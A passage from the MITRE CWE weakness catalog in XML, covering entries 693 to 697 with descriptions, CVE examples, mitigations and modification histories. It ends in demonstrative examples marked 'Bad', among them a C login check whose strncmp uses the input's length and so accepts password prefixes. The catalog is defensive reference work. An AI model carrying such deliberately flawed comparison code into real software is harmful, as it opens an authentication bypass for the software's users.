					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Description, Name, Observed_Examples, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2020-02-26">Incomplete Blacklist to Cross-Site Scripting</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="693" Name="Protection Mechanism Failure" Abstraction="Pillar" Structure="Simple" Status="Draft">
         <Description>The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.</Description>
         <Extended_Description>This weakness covers three distinct situations. A "missing" protection mechanism occurs when the application does not define any mechanism against a certain class of attack. An "insufficient" protection mechanism might provide some defenses - for example, against the most common attacks - but it does not protect against everything that is intended. Finally, an "ignored" mechanism occurs when a mechanism is available and in active use within the product, but the developer has not applied it in some code path.</Extended_Description>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
			<Technology Class="ICS/OT" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
            </Consequence>
         </Common_Consequences>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="1"/>
            <Related_Attack_Pattern CAPEC_ID="107"/>
            <Related_Attack_Pattern CAPEC_ID="127"/>
            <Related_Attack_Pattern CAPEC_ID="17"/>
            <Related_Attack_Pattern CAPEC_ID="20"/>
            <Related_Attack_Pattern CAPEC_ID="22"/>
            <Related_Attack_Pattern CAPEC_ID="237"/>
            <Related_Attack_Pattern CAPEC_ID="36"/>
            <Related_Attack_Pattern CAPEC_ID="477"/>
            <Related_Attack_Pattern CAPEC_ID="480"/>
            <Related_Attack_Pattern CAPEC_ID="51"/>
            <Related_Attack_Pattern CAPEC_ID="57"/>
            <Related_Attack_Pattern CAPEC_ID="59"/>
            <Related_Attack_Pattern CAPEC_ID="65"/>
            <Related_Attack_Pattern CAPEC_ID="668"/>
            <Related_Attack_Pattern CAPEC_ID="74"/>
            <Related_Attack_Pattern CAPEC_ID="87"/>
         </Related_Attack_Patterns>
         <Notes>
            <Note Type="Research Gap">The concept of protection mechanisms is well established, but protection mechanism failures have not been studied comprehensively. It is suspected that protection mechanisms can have significantly different types of weaknesses than the weaknesses that they are intended to prevent.</Note>
         </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Content Team</Submission_Name>
				<Submission_Organization>MITRE</Submission_Organization>
                <Submission_Date>2008-04-11</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Description, Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Maintenance_Notes, Other_Notes, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Related_Attack_Patterns, Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="694" Name="Use of Multiple Resources with Duplicate Identifier" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product uses multiple resources that can have the same identifier, in a context in which unique identifiers are required.</Description>
         <Extended_Description>If the product assumes that each resource has a unique identifier, the product could operate on the wrong resource if attackers can cause multiple resources to be associated with the same identifier.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="99" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="573" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Note>If unique identifiers are assumed when protecting sensitive resources, then duplicate identifiers might allow attackers to bypass the protection.</Note>
            </Consequence>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Quality Degradation</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Where possible, use unique identifiers. If non-unique identifiers are detected, then do not operate any resource with a non-unique identifier and report the error appropriately.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2013-4787</Reference>
               <Description>chain: mobile OS verifies cryptographic signature of file in an archive, but then installs a different file with the same name that is also listed in the archive.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2013-4787</Link>
            </Observed_Example>
         </Observed_Examples>
         <Notes>
            <Note Type="Relationship">This weakness is probably closely associated with other issues related to doubling, such as CWE-675 (Duplicate Operations on Resource). It's often a case of an API contract violation (CWE-227).</Note>
         </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Content Team</Submission_Name>
				<Submission_Organization>MITRE</Submission_Organization>
                <Submission_Date>2008-09-09</Submission_Date>
		<Submission_Comment>Note: this date reflects when the entry was first published. Draft versions of this entry were provided to members of the CWE community and modified between Draft 9 and 1.0.</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Description, Observed_Examples, Other_Notes, Potential_Mitigations, Relationship_Notes, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Relevant_Properties</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="695" Name="Use of Low-Level Functionality" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product uses low-level functionality that is explicitly prohibited by the framework or specification under which the product is supposed to operate.</Description>
         <Extended_Description>The use of low-level functionality can violate the specification in unexpected ways that effectively disable built-in protection mechanisms, introduce exploitable inconsistencies, or otherwise expose the functionality to attack.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="573" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Other</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="36"/>
         </Related_Attack_Patterns>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Content Team</Submission_Name>
				<Submission_Organization>MITRE</Submission_Organization>
                <Submission_Date>2008-09-09</Submission_Date>
		<Submission_Comment>Note: this date reflects when the entry was first published. Draft versions of this entry were provided to members of the CWE community and modified between Draft 9 and 1.0.</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="696" Name="Incorrect Behavior Order" Abstraction="Class" Structure="Simple" Status="Incomplete">
         <Description>The product performs multiple related behaviors, but the behaviors are performed in the wrong order in ways which may produce resultant weaknesses.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="691" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Alter Execution Logic</Impact>
            </Consequence>
         </Common_Consequences>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2019-9805</Reference>
               <Description>Chain: Creation of the packet client occurs before initialization is complete (CWE-696) resulting in a read from uninitialized memory (CWE-908), causing memory corruption.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2019-9805</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-5191</Reference>
               <Description>file-system management programs call the setuid and setgid functions in the wrong order and do not check the return values, allowing attackers to gain unintended privileges</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-5191</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-1588</Reference>
               <Description>C++ web server program calls Process::setuid before calling Process::setgid, preventing it from dropping privileges, potentially allowing CGI programs to be called with higher privileges than intended</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-1588</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>POS36-C</Entry_ID>
               <Entry_Name>Observe correct revocation order while relinquishing privileges</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="463"/>
         </Related_Attack_Patterns>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Content Team</Submission_Name>
				<Submission_Organization>MITRE</Submission_Organization>
                <Submission_Date>2008-09-09</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns, Relationships, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Description, Observed_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="697" Name="Incorrect Comparison" Abstraction="Pillar" Structure="Simple" Status="Incomplete">
         <Description>The product compares two entities in a security-relevant context, but the comparison is incorrect, which may lead to resultant weaknesses.</Description>
         <Extended_Description>
            <xhtml:p>This Pillar covers several possibilities:</xhtml:p>
               <xhtml:ul>
                  <xhtml:li>the comparison checks one factor incorrectly;</xhtml:li>
                  <xhtml:li>the comparison should consider multiple factors, but it does not check at least one of those factors at all;</xhtml:li>
                  <xhtml:li>the comparison checks the wrong factor.</xhtml:li>
               </xhtml:ul>
         </Extended_Description>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Varies by Context</Impact>
            </Consequence>
         </Common_Consequences>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-115">
               <Intro_Text>Consider an application in which Truck objects are defined to be the same if they have the same make, the same model, and were manufactured in the same year.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public class Truck {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>private String make;<xhtml:br/>private String model;<xhtml:br/>private int year;<xhtml:br/>
                           <xhtml:br/>public boolean equals(Object o) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>if (o == null) return false;<xhtml:br/>if (o == this) return true;<xhtml:br/>if (!(o instanceof Truck)) return false;<xhtml:br/>
                                 <xhtml:br/>Truck t = (Truck) o;<xhtml:br/>
                                 <xhtml:br/>return (this.make.equals(t.getMake()) &amp;&amp; this.model.equals(t.getModel()));</xhtml:div>
                           </xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>Here, the equals() method only checks the make and model of the Truck objects, but the year of manufacture is not included.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-116">
               <Intro_Text>This example defines a fixed username and password. The AuthenticateUser() function is intended to accept a username and a password from an untrusted user, and check to ensure that it matches the username and password. If the username and password match, AuthenticateUser() is intended to indicate that authentication succeeded.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>
                     <xhtml:i>/* Ignore CWE-259 (hard-coded password) and CWE-309 (use of password system for authentication) for this example. */</xhtml:i>
                     <xhtml:br/>
                     <xhtml:br/>char *username = "admin";<xhtml:br/>char *pass = "password";<xhtml:br/>
                     <xhtml:br/>int AuthenticateUser(char *inUser, char *inPass) {<xhtml:div style="margin-left:1em;">if (strncmp(username, inUser, strlen(inUser))) {<xhtml:div style="margin-left:1em;">logEvent("Auth failure of username using strlen of inUser");<xhtml:br/>return(AUTH_FAIL);</xhtml:div>}<xhtml:br/>if (! strncmp(pass, inPass, strlen(inPass))) {<xhtml:div style="margin-left:1em;">logEvent("Auth success of password using strlen of inUser");<xhtml:br/>return(AUTH_SUCCESS);</xhtml:div>}<xhtml:br/>else {<xhtml:div style="margin-left:1em;">logEvent("Auth fail of password using sizeof");<xhtml:br/>return(AUTH_FAIL);</xhtml:div>}</xhtml:div>}<xhtml:br/>
                     <xhtml:br/>int main (int argc, char **argv) {<xhtml:div style="margin-left:1em;">
